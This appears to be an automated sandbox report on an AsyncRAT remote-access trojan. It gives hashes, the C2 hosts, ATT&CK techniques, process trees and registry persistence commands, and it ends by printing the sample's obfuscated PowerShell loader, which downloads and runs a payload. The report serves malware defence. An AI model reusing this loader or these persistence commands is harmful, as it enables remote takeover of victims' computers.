asyncrat | 5f781a4eee2109967ee725544ba7cb0a23d2bf89d1402e8992ecdfcbcfaf4bd2

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/06/2026, 08:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
V00021181002110001-000211.js
Size 41KB
Sample260602-ktb84ahs8z
SHA256 5f781a4eee2109967ee725544ba7cb0a23d2bf89d1402e8992ecdfcbcfaf4bd2
MD5 0368d30ecde72a944a1f503cd163adf1
SHA1 90190a557cd86cdb711bdb536e3359c67fd6f7f0
SHA512 21e221da920fb36bd5d7604daf97c06c64b677dc540e2aed0fdad9832d198dbb9e0344d8c4d0a876fc622e0a7e7d93cd4d2ac30ea5f629c3a195d2a1dfca49c5
SSDEEP 768:+nWPRePePePePePePePePePePePePePePePePePePVPw9E19llFwbdljGWE:ieR222222222222222222Rw9Ef/Fwo
TLSH
T1E5133712759FCA1871A2478A46AF07750B6F795F1FBF4089008DEACA8FE35218C577B2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

stg defense_evasion discovery execution asyncrat persistence rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.9 A

Botnet

xtadts.ddns.net:2055
afxwd.ddns.net:2055

Mutex

ORcoJrFrh0hf

Attributes

delay
5
install
false
install_file
null
install_folder
null

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
68	828	installutil.exe
68	828	installutil.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
17	2124	powershell.exe
53	2260	powershell.exe
55	2260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3832	powershell.exe
3324	powershell.exe
2124	powershell.exe
2260	powershell.exe
2364	powershell.exe
4244	powershell.exe
3468	powershell.exe
4272	powershell.exe
2172	powershell.exe
1672	powershell.exe
1052	powershell.exe
2280	powershell.exe
1368	powershell.exe
5012	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_eid = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_sbf = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rfwfi.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2260	powershell.exe
2260	powershell.exe
2172	powershell.exe
2172	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2172 set thread context of 828	2172	powershell.exe	142

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2660	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 24 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2684	PING.EXE
3412	PING.EXE
3148	cmd.exe
4092	PING.EXE
3748	cmd.exe
2036	PING.EXE
2228	PING.EXE
1808	cmd.exe
5080	PING.EXE
3792	cmd.exe
2028	PING.EXE
1668	PING.EXE
1908	cmd.exe
1344	cmd.exe
2420	PING.EXE
1940	cmd.exe
4940	cmd.exe
1480	cmd.exe
820	PING.EXE
216	cmd.exe
2196	cmd.exe
2364	PING.EXE
3648	PING.EXE
3344	cmd.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2468	ipconfig.exe

Runs ping.exe 1 TTPs 12 IoCs

Remote System Discovery

T1018

pid	Process
2420	PING.EXE
2228	PING.EXE
1668	PING.EXE
3412	PING.EXE
2364	PING.EXE
3648	PING.EXE
2684	PING.EXE
2036	PING.EXE
5080	PING.EXE
820	PING.EXE
2028	PING.EXE
4092	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3324	powershell.exe
3324	powershell.exe
2124	powershell.exe
2124	powershell.exe
2260	powershell.exe
2260	powershell.exe
2260	powershell.exe
2660	powershell.exe
2660	powershell.exe
2660	powershell.exe
2260	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
2260	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
1672	powershell.exe
1672	powershell.exe
2172	powershell.exe
1052	powershell.exe
1052	powershell.exe
1052	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
4244	powershell.exe
4244	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2280	powershell.exe
2280	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
1368	powershell.exe
1368	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
3468	powershell.exe
3468	powershell.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
5012	powershell.exe
5012	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2172	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeIncreaseQuotaPrivilege	2124	powershell.exe
Token: SeSecurityPrivilege	2124	powershell.exe
Token: SeTakeOwnershipPrivilege	2124	powershell.exe
Token: SeLoadDriverPrivilege	2124	powershell.exe
Token: SeSystemProfilePrivilege	2124	powershell.exe
Token: SeSystemtimePrivilege	2124	powershell.exe
Token: SeProfSingleProcessPrivilege	2124	powershell.exe
Token: SeIncBasePriorityPrivilege	2124	powershell.exe
Token: SeCreatePagefilePrivilege	2124	powershell.exe
Token: SeBackupPrivilege	2124	powershell.exe
Token: SeRestorePrivilege	2124	powershell.exe
Token: SeShutdownPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeSystemEnvironmentPrivilege	2124	powershell.exe
Token: SeRemoteShutdownPrivilege	2124	powershell.exe
Token: SeUndockPrivilege	2124	powershell.exe
Token: SeManageVolumePrivilege	2124	powershell.exe
Token: 33	2124	powershell.exe
Token: 34	2124	powershell.exe
Token: 35	2124	powershell.exe
Token: 36	2124	powershell.exe
Token: SeIncreaseQuotaPrivilege	2124	powershell.exe
Token: SeSecurityPrivilege	2124	powershell.exe
Token: SeTakeOwnershipPrivilege	2124	powershell.exe
Token: SeLoadDriverPrivilege	2124	powershell.exe
Token: SeSystemProfilePrivilege	2124	powershell.exe
Token: SeSystemtimePrivilege	2124	powershell.exe
Token: SeProfSingleProcessPrivilege	2124	powershell.exe
Token: SeIncBasePriorityPrivilege	2124	powershell.exe
Token: SeCreatePagefilePrivilege	2124	powershell.exe
Token: SeBackupPrivilege	2124	powershell.exe
Token: SeRestorePrivilege	2124	powershell.exe
Token: SeShutdownPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeSystemEnvironmentPrivilege	2124	powershell.exe
Token: SeRemoteShutdownPrivilege	2124	powershell.exe
Token: SeUndockPrivilege	2124	powershell.exe
Token: SeManageVolumePrivilege	2124	powershell.exe
Token: 33	2124	powershell.exe
Token: 34	2124	powershell.exe
Token: 35	2124	powershell.exe
Token: 36	2124	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeIncreaseQuotaPrivilege	2660	powershell.exe
Token: SeSecurityPrivilege	2660	powershell.exe
Token: SeTakeOwnershipPrivilege	2660	powershell.exe
Token: SeLoadDriverPrivilege	2660	powershell.exe
Token: SeSystemProfilePrivilege	2660	powershell.exe
Token: SeSystemtimePrivilege	2660	powershell.exe
Token: SeProfSingleProcessPrivilege	2660	powershell.exe
Token: SeIncBasePriorityPrivilege	2660	powershell.exe
Token: SeCreatePagefilePrivilege	2660	powershell.exe
Token: SeBackupPrivilege	2660	powershell.exe
Token: SeRestorePrivilege	2660	powershell.exe
Token: SeShutdownPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeSystemEnvironmentPrivilege	2660	powershell.exe
Token: SeRemoteShutdownPrivilege	2660	powershell.exe
Token: SeUndockPrivilege	2660	powershell.exe
Token: SeManageVolumePrivilege	2660	powershell.exe
Token: 33	2660	powershell.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 3460	1820	wscript.exe	83
PID 3460 wrote to memory of 3324	3460	wscript.exe	84
PID 3324 wrote to memory of 2124	3324	powershell.exe	87
PID 2124 wrote to memory of 2260	2124	powershell.exe	100
PID 2260 wrote to memory of 2660	2260	powershell.exe	105
PID 2260 wrote to memory of 1908	2260	powershell.exe	106
PID 2260 wrote to memory of 3148	2260	powershell.exe	107
PID 1908 wrote to memory of 3412	1908	cmd.exe	108
PID 2260 wrote to memory of 216	2260	powershell.exe	109
PID 2260 wrote to memory of 2196	2260	powershell.exe	110
PID 2260 wrote to memory of 1808	2260	powershell.exe	111
PID 2260 wrote to memory of 3344	2260	powershell.exe	112
PID 3148 wrote to memory of 3648	3148	cmd.exe	113
PID 216 wrote to memory of 2364	216	cmd.exe	114
PID 2196 wrote to memory of 2684	2196	cmd.exe	115
PID 3344 wrote to memory of 4092	3344	cmd.exe	116
PID 2260 wrote to memory of 1344	2260	powershell.exe	117
PID 1344 wrote to memory of 2420	1344	cmd.exe	118
PID 2260 wrote to memory of 3748	2260	powershell.exe	119
PID 2260 wrote to memory of 1940	2260	powershell.exe	120
PID 3748 wrote to memory of 2036	3748	cmd.exe	121
PID 2260 wrote to memory of 4940	2260	powershell.exe	122
PID 2260 wrote to memory of 3792	2260	powershell.exe	123
PID 1940 wrote to memory of 5080	1940	cmd.exe	124
PID 2260 wrote to memory of 1480	2260	powershell.exe	125
PID 4940 wrote to memory of 2028	4940	cmd.exe	126
PID 3792 wrote to memory of 820	3792	cmd.exe	127
PID 1480 wrote to memory of 2228	1480	cmd.exe	128
PID 1808 wrote to memory of 1668	1808	cmd.exe	129
PID 2660 wrote to memory of 2468	2660	powershell.exe	131
PID 2260 wrote to memory of 3832	2260	powershell.exe	132
PID 2260 wrote to memory of 4272	2260	powershell.exe	133
PID 2260 wrote to memory of 2364	2260	powershell.exe	134
PID 2260 wrote to memory of 2172	2260	powershell.exe	135
PID 2260 wrote to memory of 2740	2260	powershell.exe	136
PID 2172 wrote to memory of 5004	2172	powershell.exe	141
PID 2172 wrote to memory of 828	2172	powershell.exe	142
PID 2172 wrote to memory of 828	2172	powershell.exe	142
PID 2172 wrote to memory of 828	2172	powershell.exe	142
PID 2172 wrote to memory of 828	2172	powershell.exe	142
PID 2172 wrote to memory of 828	2172	powershell.exe	142
PID 2172 wrote to memory of 1672	2172	powershell.exe	145
PID 1672 wrote to memory of 1052	1672	powershell.exe	147
PID 1672 wrote to memory of 4244	1672	powershell.exe	149
PID 1672 wrote to memory of 2280	1672	powershell.exe	150
PID 1672 wrote to memory of 1368	1672	powershell.exe	153
PID 1672 wrote to memory of 3468	1672	powershell.exe	154
PID 1672 wrote to memory of 5012	1672	powershell.exe	155

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\V00021181002110001-000211.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\mqfvd.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2JudmxjLnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdsY2RwbS5' + '0' + 'eHQnKS' + 'A' + '7JGZ6Ym55ID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JGZ6Ym55LkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JGZ6Ym55LkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JGZ6Ym55LkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JGZ6Ym55LlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kZnpibnkuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyR' + '0' + 'amZrZi' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JHRqZmtmID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJHRqZmtmLCdcJXglKycpKVsxXSkuVHJpbSgpOyR' + '0' + 'amZrZiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskYmdueWwgKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyRiZ255bC' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbUV2TURnM' + '0' + '5XRTRMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ2xjZHBtLnR4dCcnKS' + 'A' + '7JG5oenhoID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JGJnbnlsICs' + ' + 9 + ' + 'ICckbmh6eGggLXJlcGxhY2UgJycgJycsICcnJycgOycgOyRiZ255bC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kbGRnYnYgPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyRiZ255bC' + 'A' + 'rPS' + 'A' + 'nJGxkZ2J2ID' + '0' + 'gKCRuaHp4aC' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskYmdueWwgKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJGxkZ2J2ICk7Jy' + 'A' + '7JGJnbnlsICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JGJnbnlsICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdsZnlkeF8wMS5wczEnICkgOyRiZ255bCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$zbngj = $GGIvy ;$zbngj = $zbngj.replace('''',$OoOOF) ;$zbngj = $zbngj.replace('+ ',$OoOOF) ;$zbngj = $zbngj.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $zbngj ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace 